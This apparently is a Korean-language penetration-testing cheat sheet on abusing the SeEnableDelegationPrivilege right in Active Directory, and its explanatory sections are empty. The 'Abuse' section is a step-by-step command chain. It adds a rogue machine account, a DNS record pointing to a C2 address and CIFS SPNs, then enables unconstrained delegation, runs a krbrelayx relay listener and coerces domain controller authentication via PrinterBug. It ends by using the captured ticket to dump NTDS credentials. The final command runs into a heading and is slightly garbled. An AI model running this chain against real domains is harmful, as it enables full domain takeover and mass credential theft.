SeEnableDelegationPrivilege
공격 시나리오
필요 조건
Abuse
# 새 컴퓨터 계정 생성
impacket-addcomputer -computer-name 'delegation$' -computer-pass 'Password123!' -dc-host 192.168.1.11 -domain-netbios contoso.com contoso.com/user-A:'Password123!'
# dns서버(dc)에 악용할 A 레코드 추가
git clone https://github.com/dirkjanm/krbrelayx.git
cd krbrelayx
python3 dnstool.py -u '<domain\username>' -p '<password>' --action add --record '<custom-domain>' --data '<c2-address>' --type A -dns-ip '<dc-ip>' '<dc-fqdn>'
# 생성한 머신에 cifs 서비스 등록
python3 addspn.py -u '<domain\username>' -p '<password>' -s '<cifs/custom-domain.domain>' -t '<created-machine>' -dc-ip '<dc-ip>' '<dc-fqdn>' --additional
python3 addspn.py -u '<domain\username>' -p '<password>' -s '<cifs/domain>' -t '<created-machine>' -dc-ip '<dc-ip>' '<dc-fqdn>'
# 생성한 머신에 Unconstrained Delegation 위임 구성
bloodyAD -d '<domain>' -u '<username>' -p '<password>' --host '<dc-fqdn>' add uac '<created-machine>' -f TRUSTED_FOR_DELEGATION
# ntlm relay 공격을 위한 릴레이 서버 구성
NTLM=$(echo -n '<machine-password>' | iconv -f UTF-8 -t UTF-16LE | openssl dgst -md4 | awk '{print $2}')
python3 krbrelayx.py -hashes :$NTLM
# ntlm 강제 인증에 취약한 모듈 열거 및 사용
nxc smb '<dc-fqdn>' -u '<created-machine>' -p '<machine-password>' -M coerce_plus
nxc smb '<dc-fqdn>' -u '<created-machine>' -p '<machine-password>' -M coerce_plus -o LISTENER='<custom-domain>' METHOD=PrinterBug
# 획득한 티켓을 통한 DCSync
export KRB5CCNAME=DC01\$@CONTOSO.COM_krbtgt@CONTOSO.COM.ccache
crackmapexec smb dc01.contoso.com -u DC01$ --use-kcache --ntdsRoot Cause





References
Last updated
